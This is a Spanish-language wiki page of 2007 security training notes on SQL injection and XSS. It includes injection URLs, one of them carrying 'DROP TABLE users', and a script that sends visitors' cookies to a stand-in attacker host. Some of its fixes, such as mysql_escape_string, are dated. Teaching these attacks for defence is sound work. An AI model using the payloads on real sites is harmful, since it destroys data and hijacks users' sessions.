Capacitación sobre seguridad de aplicaciones web

Fecha: 20 de Octubre 2007
Por: Javier
Resumen: Sobre sql injection y ataques XSS
Tipo de capacitación: técnica pública

SQL Injection

Problema:
Es la injection de código sql debido a que al guardar información en la base de datos no limpiamos los datos enviados por el usuario.

http://example.org/datos.pgp?user_id=7
$query = "SELECT * FROM users WHERE id = '" . $user_id . "';"
http://example.org/datos.pgp?user_id=7' or '1'='1
http://example.org/datos.pgp?user_id=7'; DROP TABLE users; SELECT * FROM users WHERE '1'='1


Soluciones:
Limpiar toda variable antes de guardarla. Todas estas soluciones se pueden combinar, en muchos casos se deben combinar:

sql_escape:
$user_id = mysql_escape_string($user_id); //pgsql_escape_string en postgresql
$query = "SELECT * FROM users WHERE id = '" . $user_id . "';"


Por qué no usar quotes magic o similares? La biblioteca de la misma base de datos es la manera más directa, más segura, quotes magic (OCSE) trata de dar una solución general a todas las bases de datos, en mi experiencia, es mejor usar funciones nativas, funciones especializadas.

casting:
$user_id = (int)$user_id;


settype($user_id, 'int');


expresiones regulares:
$user_id = preg_replace("/[^A-Za-z0-9_.-]/", "", $user_id);

Aqui solo aceptamos letras, numeros y _.-

almidon:
$user_id = $data->request['user_id'];  // solo funciona en caso se user_id esta definido como dato.


$user_id = Table::parse_var($user_id);


Notas:
Injection también puede ocurrir a un archivo (RFI remote file injection), o a un comando que luego ejecutemos: shell injection.
Blind Sql Injection: Normalmente injection es facilitada por los mensajes de error, con blind sql injection solo se tiene la opcion de éxito o fracaso, accediendo al catálogo se va construyendo el ataque.

XSS atacks

Es el opuesto, de cierto modo, es el injectar código malicioso a los datos para luego actuar al ser mostrados en pantalla.
Generalmente usado para “phishing”. Ataque, injectar en mi blog, o artículo. Un ejemplo que registraria en la bitacora maquina del atacante (example.com), los cookies de todo visitante del sitio donde se colocó el injection.

<script>
 document.write('<script src="http://www.example.com/get_cookies?cookies='
 document.write(document.cookie)
 document.write('"></script>');
</script>

Este ejemplo registraria en la bitacora maquina del atacante (example.com), los cookies

Solución:
Limpiar toda variable que se tome (de la base de datos) a la pantalla.

$datos = htmlentities($datos)
#  ó
$datos = htmlspecialchars($datos)


Please make sure that the server has write access to a folder named uploads.


Enlace: http://en.wikipedia.org/wiki/Code_injection



CategorySysAdmin
There are no comments on this page.
Valid XHTML :: Valid CSS: :: Powered by WikkaWiki